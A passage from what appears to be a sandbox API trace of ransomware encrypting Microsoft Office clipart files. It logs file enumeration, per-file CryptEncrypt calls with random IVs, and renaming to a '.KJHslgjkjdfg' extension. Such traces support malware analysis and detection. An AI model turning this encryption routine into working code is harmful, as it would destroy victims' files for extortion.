ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0194.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.660] GetProcessHeap () returned 0x2ef0000 [0194.660] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.660] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.660] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.668] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.668] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.668] GetProcessHeap () returned 0x2ef0000 [0194.668] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.668] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.668] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.668] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.668] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.668] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.669] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.669] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.669] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.669] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.669] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x318, lpOverlapped=0x0) returned 1 [0194.669] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x320, dwBufLen=0x320 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x320) returned 1 [0194.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.669] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x320, lpOverlapped=0x0) returned 1 [0194.669] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.669] SetEndOfFile (hFile=0x130) returned 1 [0194.672] GetProcessHeap () returned 0x2ef0000 [0194.672] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.672] GetProcessHeap () returned 0x2ef0000 [0194.672] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.kjhslgjkjdfg")) returned 1 [0194.673] CloseHandle (hObject=0x130) returned 1 [0194.673] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0194.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.673] GetProcessHeap () returned 0x2ef0000 [0194.673] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.673] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.673] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.674] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.674] GetProcessHeap () returned 0x2ef0000 [0194.674] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.674] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.674] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.674] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.675] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.676] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.676] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.676] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.676] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.676] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.676] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x44b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x44b0, lpOverlapped=0x0) returned 1 [0194.677] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x44b0, dwBufLen=0x44b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x44b0) returned 1 [0194.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.677] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x44b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x44b0, lpOverlapped=0x0) returned 1 [0194.678] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.678] SetEndOfFile (hFile=0x130) returned 1 [0194.680] GetProcessHeap () returned 0x2ef0000 [0194.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.680] GetProcessHeap () returned 0x2ef0000 [0194.681] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.kjhslgjkjdfg")) returned 1 [0194.682] CloseHandle (hObject=0x130) returned 1 [0194.682] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0194.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.683] GetProcessHeap () returned 0x2ef0000 [0194.683] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.683] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.683] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.685] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.685] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.685] GetProcessHeap () returned 0x2ef0000 [0194.685] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.685] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.685] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.685] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.685] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.685] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.685] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.685] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.685] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.686] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.686] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.686] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e94, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e94, lpOverlapped=0x0) returned 1 [0194.686] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ea0, dwBufLen=0x1ea0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ea0) returned 1 [0194.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.687] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ea0, lpOverlapped=0x0) returned 1 [0194.687] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.687] SetEndOfFile (hFile=0x130) returned 1 [0194.689] GetProcessHeap () returned 0x2ef0000 [0194.689] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.689] GetProcessHeap () returned 0x2ef0000 [0194.689] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.kjhslgjkjdfg")) returned 1 [0194.690] CloseHandle (hObject=0x130) returned 1 [0194.690] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0194.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.691] GetProcessHeap () returned 0x2ef0000 [0194.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.691] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.691] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.691] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.691] GetProcessHeap () returned 0x2ef0000 [0194.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.691] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.691] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.691] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.693] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.693] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.693] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.694] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.694] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.694] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa7f0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa7f0, lpOverlapped=0x0) returned 1 [0194.695] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa7f0, dwBufLen=0xa7f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa7f0) returned 1 [0194.695] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.695] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa7f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa7f0, lpOverlapped=0x0) returned 1 [0194.696] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.696] SetEndOfFile (hFile=0x130) returned 1 [0194.698] GetProcessHeap () returned 0x2ef0000 [0194.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.698] GetProcessHeap () returned 0x2ef0000 [0194.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.kjhslgjkjdfg")) returned 1 [0194.700] CloseHandle (hObject=0x130) returned 1 [0194.700] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0194.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.700] GetProcessHeap () returned 0x2ef0000 [0194.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.701] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.701] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.703] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: 